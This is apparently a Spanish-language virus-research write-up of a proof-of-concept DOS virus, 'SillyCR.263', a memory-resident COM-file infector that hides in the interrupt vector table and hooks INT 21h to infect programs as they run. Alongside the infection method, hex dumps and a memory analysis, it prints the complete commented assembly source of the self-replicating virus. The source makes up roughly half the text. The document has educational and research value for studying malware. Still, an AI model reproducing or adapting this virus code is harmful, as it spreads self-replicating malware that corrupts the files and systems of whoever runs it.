Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por postpending (adición posterior) en archivos COM. El virus permanece residente en memoria convencional ocultándose en un hueco de la IVT. Intercepta los servicios I/O de DOS para infectar archivos antes de ser ejecutados.
Método de infección
Durante la infección, el virus reemplaza los primeros bytes del archivo huésped
(cabezal original) con una instrucción JMP
(cabezal viral) que dirige el flujo
de ejecución hacia el final del archivo donde se añade el cuerpo viral. El cabezal
original reemplazado es guardado en el cuerpo viral.
Cuando un archivo infectado es ejecutado, el virus se carga en memoria junto con este y
se ejecuta primero realizando sus propias acciones, al terminar restaura el cabezal original
en el offset CS:0100
(dirección de memoria donde se cargan los archivos COM en DOS)
y salta hacia dicho offset para permitirle al huésped su ejecución normal. Esto último
dificulta la detección por parte del usuario.
El cabezal viral contiene además una firma, el byte 'V'
, utilizada para reconocimiento
de archivos ya infectados.
La primer generación del virus es diferente a las siguientes. La primera no tiene cabezal viral, ya que no está adherida a un huésped. Las siguientes generaciones al estar adheridas a un huésped se diferencian por tener cabezal y cuerpo viral.
Como resultado de la infección:
- Los archivos infectados ocuparán más espacio al contener el código viral. Con técnicas de stealth esta información se puede ocultar del usuario para dificultar su detección.
- Los archivos infectados tendrán un tiempo de ejecución mayor al incluir la pre ejecución del virus.
Residencia en memoria
El virus permanece residente en el rango de memoria convencional (por debajo de 640KB - segmento A000)
ocultándose (solo su código viral) en la segunda mitad de la IVT (Interrupt Vector Table),
comenzando desde 0000:0200
, la cual no es normalmente utilizada. El virus asume que esta zona
de la IVT está libre, en caso contrario el sistema puede tener problemas y colgarse. Durante la
infección, el virus reconoce si ya se encuentra residente comparando contra los 10 primeros
bytes en 0000:0200
.
Método de propagación
El virus modifica el handler original de la interrupción 21h cambiando el vector del handler en la IVT (Interrupt Vector Table) para interceptar las llamadas a los servicios I/O de DOS. Al detectar ejecuciones de archivos en el sistema, estos son infectados antes de que se ejecuten.
Otros detalles
- Se utiliza una técnica básica para calcular el $\Delta$ offset, este es el posicionamiento relativo del virus en el archivo infectado. Esta técnica es detectada por cualquier anti-virus decente.
- El virus no verifica que el tamaño del archivo COM sea adecuado para la infección. Si luego de la infección el tamaño total supera los 64KB, ya no es un archivo COM válido.
Flujo de ejecución
Al ejecutarse un archivo infectado, el virus se hace residente en memoria y modifica la IVT:
Cuando el virus ya es residente en memoria, intercepta todas las llamadas a la interrupción 21h:
Análisis estático
Hex dump de un archivo sano de tamaño 80 bytes:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 B4 09 BA 39 01 CD 21 90 ´.º9.Í!. 0x0008 90 90 90 90 90 90 90 90 ........ 0x0010 90 90 90 90 90 90 90 90 ........ 0x0018 90 90 90 90 90 90 90 90 ........ 0x0020 90 90 90 90 90 90 90 90 ........ 0x0028 90 90 90 90 90 90 90 90 ........ 0x0030 90 90 90 90 90 B4 00 CD .....´.Í 0x0038 21 54 68 69 73 20 69 73 !This is 0x0040 20 61 20 68 6F 73 74 20 a host 0x0048 66 69 6C 65 21 0D 0A 24 file!..$
Hex dump del archivo infectado:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 E9 4D 00 56 01 CD 21 90 éM.V.Í!. Cabezal viral 0x0008 90 90 90 90 90 90 90 90 ........ 0x0010 90 90 90 90 90 90 90 90 ........ 0x0018 90 90 90 90 90 90 90 90 ........ 0x0020 90 90 90 90 90 90 90 90 ........ 0x0028 90 90 90 90 90 90 90 90 ........ 0x0030 90 90 90 90 90 B4 00 CD .....´.Í 0x0038 21 54 68 69 73 20 69 73 !This is 0x0040 20 61 20 68 6F 73 74 20 a host 0x0048 66 69 6C 65 21 0D 0A 24 file!..$ 0x0050 E8 00 00 5D 81 ED 0B 01 è..].í.. Cuerpo viral 0x0058 8D B6 08 01 33 C0 8E C0 .¶..3ÀŽÀ 0x0060 BF 00 02 B9 0A 00 F3 A6 ¿..¹..ó¦ 0x0068 74 2F B4 35 B0 21 CD 21 t/´5°!Í! 0x0070 3E 89 9E FF 01 3E 8C 86 >‰žÿ.>Œ† 0x0078 01 02 B4 25 B0 21 33 DB ..´%°!3Û 0x0080 8E DB BA 5C 02 CD 21 0E ŽÛº\.Í!. 0x0088 1F 8D B6 08 01 33 C0 8E ..¶..3ÀŽ 0x0090 C0 BF 00 02 B9 FF 00 F3 À¿..¹ÿ.ó 0x0098 A4 1E 07 B9 04 00 8D B6 ¤..¹...¶ 0x00A0 03 02 BF 00 01 F3 A4 B8 ..¿..ó¤¸ 0x00A8 00 01 FF E0 3D 00 4B 74 ..ÿà=.Kt 0x00B0 03 E9 92 00 9C 50 53 51 .é’.œPSQ 0x00B8 52 56 1E 8B F2 AC 0A C0 RV.‹ò¬.À 0x00C0 74 13 3C 2E 75 F7 AC 3C t.<.u÷¬< 0x00C8 43 75 0A AC 3C 4F 75 05 Cu.¬<Ou. 0x00D0 AC 3C 4D 74 02 EB 64 B4 ¬<Mt.ëd´ 0x00D8 3D B0 02 CD 21 72 60 93 =°.Í!r`“ 0x00E0 B4 3F 33 C9 8E D9 BA FB ´?3ÉŽÙºû 0x00E8 02 B9 04 00 CD 21 72 4B .¹..Í!rK 0x00F0 80 3E FE 02 56 74 44 B4 €>þ.VtD´ 0x00F8 42 B0 02 33 C9 33 D2 CD B°.3É3ÒÍ 0x0100 21 72 38 A3 FF 02 B4 40 !r8£ÿ.´@ 0x0108 B9 FF 00 BA 00 02 CD 21 ¹ÿ.º..Í! 0x0110 72 29 A1 FF 02 2D 03 00 r)¡ÿ.-.. 0x0118 C6 06 01 03 E9 A3 02 03 Æ...é£.. 0x0120 C6 06 04 03 56 B4 42 B0 Æ...V´B° 0x0128 00 33 C9 33 D2 CD 21 72 .3É3ÒÍ!r 0x0130 0A B4 40 B9 04 00 BA 01 .´@¹..º. 0x0138 03 CD 21 B4 3E CD 21 1F .Í!´>Í!. 0x0140 5E 5A 59 5B 58 9D EA A0 ^ZY[X.ê 0x0148 14 00 F0 B4 09 BA 39 ..ð´.º9 Cabezal original
Análisis dinámico
Se considera un archivo infectado VTEST.COM en un ambiente MS-DOS 6.22, Microsoft Virtual PC 6.0 con VM Additions.
Uso de memoria
Antes de la infección
Resultado de MEM /C
:
Name Total = Conventional + Upper Memory -------- ---------------- ---------------- ---------------- MSDOS 16,157 (16K) 16,157 (16K) 0 (0K) SETVER 480 (0K) 480 (0K) 0 (0K) HIMEM 1,120 (1K) 1,120 (1K) 0 (0K) DISPLAY 8,304 (8K) 8,304 (8K) 0 (0K) CDROM 4,224 (4K) 4,224 (4K) 0 (0K) COMMAND 2,928 (3K) 2,928 (3K) 0 (0K) SMARTDRV 29,024 (28K) 29,024 (28K) 0 (0K) KEYB 6,944 (7K) 6,944 (7K) 0 (0K) FSHARE 26,576 (26K) 26,576 (26K) 0 (0K) IDLE 528 (1K) 528 (1K) 0 (0K) MSCDEX 32,096 (31K) 32,096 (31K) 0 (0K) MOUSE 8,880 (9K) 8,880 (9K) 0 (0K) Free 516,976 (505K) 516,976 (505K) 0 (0K) Memory Summary: Type of Memory Total = Used + Free ---------------- ---------- ---------- ---------- Conventional 654,336 137,360 516,976 Upper 0 0 0 Reserved 0 0 0 Extended (XMS) 15,663,104 2,162,688 13,500,416 ---------------- ---------- ---------- ---------- Total memory 16,317,440 2,300,048 14,017,392 Total under 1 MB 654,336 137,360 516,976
Después de la infección
Resultado de MEM /C
:
Name Total = Conventional + Upper Memory -------- ---------------- ---------------- ---------------- MSDOS 16,157 (16K) 16,157 (16K) 0 (0K) SETVER 480 (0K) 480 (0K) 0 (0K) HIMEM 1,120 (1K) 1,120 (1K) 0 (0K) DISPLAY 8,304 (8K) 8,304 (8K) 0 (0K) CDROM 4,224 (4K) 4,224 (4K) 0 (0K) COMMAND 2,928 (3K) 2,928 (3K) 0 (0K) SMARTDRV 29,024 (28K) 29,024 (28K) 0 (0K) KEYB 6,944 (7K) 6,944 (7K) 0 (0K) FSHARE 26,576 (26K) 26,576 (26K) 0 (0K) IDLE 528 (1K) 528 (1K) 0 (0K) MSCDEX 32,096 (31K) 32,096 (31K) 0 (0K) MOUSE 8,880 (9K) 8,880 (9K) 0 (0K) Free 516,976 (505K) 516,976 (505K) 0 (0K) Memory Summary: Type of Memory Total = Used + Free ---------------- ---------- ---------- ---------- Conventional 654,336 137,360 516,976 Upper 0 0 0 Reserved 0 0 0 Extended (XMS) 15,663,104 2,162,688 13,500,416 ---------------- ---------- ---------- ---------- Total memory 16,317,440 2,300,048 14,017,392 Total under 1 MB 654,336 137,360 516,976
No hay ningún cambio en el reporte. La presencia del virus no es evidente.
Handler de 21h
La IVT ocupa los primeros 1024 bytes de memoria RAM, segmento 0000.
El vector de la interrupción 21h es la dirección de memoria del handler en forma
de 4 bytes segmento:offset
, este se encuentra en el offset 84h de la IVT.
Antes de la infección
Hex dump de los 4 bytes del vector 21h:
-D 0000:0084 L4 0000:0080 E1 20 04 11
El handler original de 21h se encuentra en 1104:20E1.
Después de la infección
Hex dump de los 4 bytes del vector 21h:
-D 0000:0084 L4 0000:0080 5C 02 00 00
El vector ya no es el mismo.
Desensamblado del handler referenciado por el nuevo vector:
-U 0000:025C 0000:025C 3D004B CMP AX,4B00 ; inicio del handler viral 0000:025F 7403 JZ 0264 0000:0261 E99200 JMP 02F6 0000:0264 9C PUSHF 0000:0265 50 PUSH AX 0000:0266 53 PUSH BX 0000:0267 51 PUSH CX 0000:0268 52 PUSH DX 0000:0269 56 PUSH SI 0000:026A 1E PUSH DS 0000:026B 8BF2 MOV SI,DX 0000:026D AC LODSB 0000:026E 0AC0 OR AL,AL 0000:0270 7413 JZ 0285 0000:0272 3C2E CMP AL,2E 0000:0274 75F7 JNZ 026D 0000:0276 AC LODSB 0000:0277 3C43 CMP AL,43 0000:0279 750A JNZ 0285 0000:027B AC LODSB
API utilizada
Se utilizan 8 servicios de la DOS API mediante la interrupción de software 21h.
Servicio | AH | Parámetros | Retorno | Versión DOS |
---|---|---|---|---|
Terminar programa | 00h | - | - | 1+ |
Establecer vector en IVT | 25h | AL = número de interrupción | DS:DX = puntero al nuevo handler de la interrupción | 2+ |
Obtener vector de IVT | 35h | AL = número de interrupción | ES:BX = puntero al handler de la interrupción | 2+ |
Abrir archivo existente | 3Dh | AL = modos de acceso e intercambio DS:DX -> nombre del archivo (ASCIZ) |
Éxito: CF = 0, AX = handle del archivo Error: CF = 1, AX = código de error |
2+ |
Cerrar archivo | 3Eh | BX = handle del archivo | Éxito: CF = 0, AX destruido Error: CF = 1, AX = código de error |
2+ |
Lectura de archivo o dispositivo |
3Fh | BX = handle del archivo CX = nro. de bytes DS:DX -> offset donde guardar datos |
Éxito: CF = 0, AX = nro. de bytes transferidos Error: CF = 1, AX = código de error |
2+ |
Escribir en archivo o dispositivo |
40h | BX = handle del archivo CX = nro. de bytes DS:DX -> datos a escribir |
Éxito: CF = 0, AX = nro. de bytes escritos Error: CF = 1, AX = código de error |
2+ |
Establecer puntero de archivo | 42h | AL = código de desplazamiento BX = handle del archivo CX = mitad mayor de desplazamiento DX = mitad menor de desplazamiento |
Éxito: CF = 0, CX = mitad mayor, DX = mitad menor Error: CF = 1, AX = código de error |
2+ |
Código fuente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
;##############################################################################
;# Nombre: virus://DOS/SillyCR.263
;# Plataforma: Intel x86
;# SO: DOS v2.0+
;# Lenguaje: ASM x86-16 (sintaxis Intel)
;# Herramientas: TASM v4.1, TLINK v7.1.30
;# Tipo: Postpending, Resident, COM infector
;# Tamaño: 263 bytes
;# Propagación: En archivos COM antes de ser ejecutados (INT 21h - AH=4B).
;# Infección: Postpending en archivos COM (no READ-ONLY).
;# Residente: Si. Dentro de la memoria convencional (0-640KB), en la IVT.
;# Stealth: No
;# Payload: No
;##############################################################################
.8086
.model tiny
assume cs:virus, ds:virus
V_OFFSET equ 200h - 100h - 8 ; offset base para direccionamiento viral en IVT
virus segment byte public 'CODE'
org 100h
start:
jmp short body ; cabezal, en las siguientes generaciones aquí
nop ; habrá un near JMP de 3 bytes
db 'V' ; firma viral
mov ah, 00h ; / huésped dummy, solo retorna a DOS
int 21h ; \
body:
call d_offset ; calcular delta offset
d_offset:
pop bp
sub bp, offset d_offset
lea si, [bp + body] ; origen: inicio del código viral en archivo
xor ax, ax
mov es, ax ; ES = 0
mov di, 200h ; destino: inicio del código viral en IVT
mov cx, 10 ; considerar 10 bytes
repe cmpsb ; comparar origen y destino para reconocer el virus en memoria
je run_host ; si no está en memoria, ejecutar huésped
mov ah, 35h ; | AH = 35h
mov al, 21h ; | AL = número de interrupción, 21h
int 21h ; |_DOS API - Obtener vector en ES:BX
mov [bp + vector_int21], bx ; guardar vector original de INT 21h
mov [bp + vector_int21 + 2], es
mov ah, 25h ; | AH = 25h
mov al, 21h ; | AL = número de interrupción, 21h
xor bx, bx ; |
mov ds, bx ; | DS = 0
mov dx, V_OFFSET + offset handler_int21h ; | DS:DX -> dirección del nuevo handler: handler_int21h
int 21h ; |_DOS API - Cambiar vector
push cs
pop ds ; restaurar DS
lea si, [bp + body] ; origen: inicio del código viral en archivo
xor ax, ax
mov es, ax ; ES = 0
mov di, 200h ; destino: inicio del código viral en IVT
mov cx, VIRUS_SIZE ; tamaño del virus
rep movsb ; copiar virus de origen a destino
run_host:
push ds
pop es ; restaurar ES
mov cx, 4
lea si, [bp + host_head]
mov di, 100h
rep movsb ; restaurar cabezal original
mov ax, 100h
jmp ax ; saltar a CS:100 y ejecutar huésped
handler_int21h:
cmp ax, 4B00h ; llamada para ejecutar archivo:
je infect_file ; infectar y delegar
jmp handler_old ; en otro caso, delegar al handler original de INT 21h
infect_file:
pushf ; guardar estado CPU
push ax ; guardar registros que serán utilizados
push bx
push cx
push dx
push si
push ds
; por la llamada AX=4B00h, DS:DX apunta al nombre del archivo
mov si, dx ; verificar que sea extensión ".COM"
loop_str:
lodsb
or al, al
jz check_fail
cmp al, '.'
jne loop_str
lodsb
cmp al, 'C'
jne check_fail
lodsb
cmp al, 'O'
jne check_fail
lodsb
cmp al, 'M'
je check_ok
check_fail:
jmp close_file
check_ok:
mov ah, 3Dh ; | AH = 3Dh
mov al, 2 ; | AL = 2, lectura y escritura
int 21h ; |_DOS API - Abrir archivo existente
jc exit ; si no se puede abrir archivo, restaurar y delegar
xchg ax, bx ; handle de archivo en BX
mov ah, 3Fh ; | AH = 3Fh
xor cx, cx ; |
mov ds, cx ; | DS = 0
mov dx, V_OFFSET + offset host_head ; | DS:DX -> destino: buffer para cabezal original
mov cx, 4 ; | CX = tamaño del cabezal, 4 bytes
int 21h ; |_DOS API - Leer de archivo/dispositivo
jc close_file ; no se puede leer el archivo, cerrarlo
cmp byte ptr ds:[V_OFFSET + host_head + 3], 'V' ; comparar 4to byte con la firma viral 'V'
je close_file ; si el archivo ya esta marcado, cerrarlo
mov ah, 42h ;| AH = 42h
mov al, 2 ;| AL = 2, fin del archivo
xor cx, cx ;| CX = 0
xor dx, dx ;| DX = 0
int 21h ;|_DOS API - Establecer puntero en archivo
jc close_file ; no se puede trabajar con el archivo, cerrarlo
mov ds:[V_OFFSET + file_size], ax
mov ah, 40h ; | AH = 40h
mov cx, VIRUS_SIZE ; | CX = tamaño del virus
mov dx, 200h ; | DS:DX -> origen: inicio del código viral en IVT
int 21h ; |_DOS API - Escribir en archivo/dispositivo
jc close_file ; no se puede trabajar con el archivo, cerrarlo
mov ax, ds:[V_OFFSET + file_size] ; calcular el largo del JMP para el cabezal viral
sub ax, 3 ; restarle 3 bytes del near JMP
mov byte ptr ds:[V_OFFSET + tmp_head], 0E9h ; construir cabezal viral en buffer temporal (E9h = near JMP)
mov word ptr ds:[V_OFFSET + tmp_head + 1], ax
mov byte ptr ds:[V_OFFSET + tmp_head + 3], 'V'
mov ah, 42h ; | AH = 42h
mov al, 0 ; | AL = 0, principio del archivo
xor cx, cx ; | CX = 0
xor dx, dx ; | DX = 0
int 21h ; |_DOS API - Establecer puntero en archivo
jc close_file ; no se puede trabajar con el archivo, cerrarlo
mov ah, 40h ; | AH = 40h
mov cx, 4 ; | CX = tamaño del cabezal, 4 bytes
mov dx, V_OFFSET + offset tmp_head ; | DS:DX -> origen: buffer temporal para cabezal viral
int 21h ; |_DOS API - Escribir en archivo/dispositivo
close_file:
mov ah, 3Eh ; | AH = 3Eh
int 21h ; |_DOS API - Cerrar archivo
exit:
pop ds ; restaurar registros y estado CPU
pop si
pop dx
pop cx
pop bx
pop ax
popf
handler_old:
db 0EAh ; JMP FAR
vector_int21 dw ?, ? ; vector original de INT 21h (4 bytes)
host_head db 90h, 90h, 90h, 90h ; buffer para cabezal original
VIRUS_SIZE equ ($ - body) ; tamaño del virus
file_size dw ? ; buffer temporal para tamaño del huésped
tmp_head db 4 dup (?) ; buffer temporal para cabezal viral
virus ends
end start
Bibliografía
- Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
- Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
- Phalcon-Skism. 40-Hex.